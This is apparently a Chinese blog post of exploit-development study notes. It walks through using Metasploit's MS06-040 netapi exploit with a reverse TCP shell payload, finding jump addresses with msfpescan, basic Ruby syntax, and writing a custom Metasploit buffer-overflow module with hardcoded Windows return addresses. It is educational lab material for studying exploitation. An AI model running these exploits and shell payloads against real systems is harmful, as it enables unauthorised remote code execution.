使用ms06-040作為範例,因為netapi32.dll中的NetpwPathCanonicalize()對於字串參數產生堆疊溢出,且此函數可以RPC呼叫。
測試環境 XP SP1 OR 2k sp0-sp4
掃描工具 Nessus
或是查看補丁是否存在 c:\windows\$NtUninstallKB921883
打完補丁後,漏洞文件會位於該目錄
在meatasploit下選用相關exp及shellcode(show exploits, use windows/smb/ms06_040_netapi, info, show target, set target 0, show payloads, set payload windows/shell/reverse_tcp, show options, ...)
10.4 msfpescan 搜尋跳轉指令位址
ruby msfpescan -f c:\windows/system32/kernerl32.dll -j ecx
10.5 簡介Ruby
#hello world
print "hello world\n"
#全局變量
$a=0
b="test\n"
print a
print b
#可轉義字串
a=4
b=7
c="a+b=#{a+b}\n"
print c
單引號中為純字串
字串中使用單引號
'aaa\'bbb', %q{aaa'bbb}, %q/aaa'bbb/, %Q/aaa'bbb/, %/aaa'bbb/
字串相加
a="aaa"
a<<"bbb"
a="ccc"+a
print a
重複字串
a="1234"*4
print a
陣列(大陸譯 數組)
a=[1,'aaa',[2,'bbb']]
print a[0]
print a[2][1]
hash表,類似於陣列,但是使用字串作為索引,不使用數字
a={'good'=>'yoyo','bad'=>'dm'}
print a['good']
函數
def myfun1()
...
end
模塊
moudule xxx
...
end
類別
class
...
end
10.6 exploit開發
使用一個範例作為溢出測試(監聽tcp 7777`,將收到數據console out,超過200 byte產生溢出)
http://dl.dropbox.com/u/43748161/blog/0day%E5%AE%89%E5%85%A8/chapter_10.rar
0f4ba7e32db094ac17ae818759aa4a54
require 'msf/core'
module Msf
class Exploits::Failwest::Test < Msf::Exploit::Remote
#類名第一字母大寫,必須包含路徑,<後面代表繼承
include Exploit::Remote::Tcp
 def initialize(info = {})
#update_info第2個參數為hash
     super(update_info(info,
  'Name'  => 'failwest_test',
  'Platform' => 'win',
  'Targets' => [
     ['Windows 2000',  {'Ret' => 0x77F8948B } ], 
     ['Windows XP SP2',{'Ret' => 0x7C914393 } ]
       ],
  'Payload'       => {
     'Space'    => 200,
     'BadChars' => "\x00",
        }
  ))
 end #end of initialize
 def exploit
  connect
#.pack('V')表示將DWORD中的byte反序排列,因為該內容為返回位址  attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded  sock.put(attack_buf)
  handler
  disconnect
 end  #end of exploit def
end #end of class def
end #end of module def
 
沒有留言:
張貼留言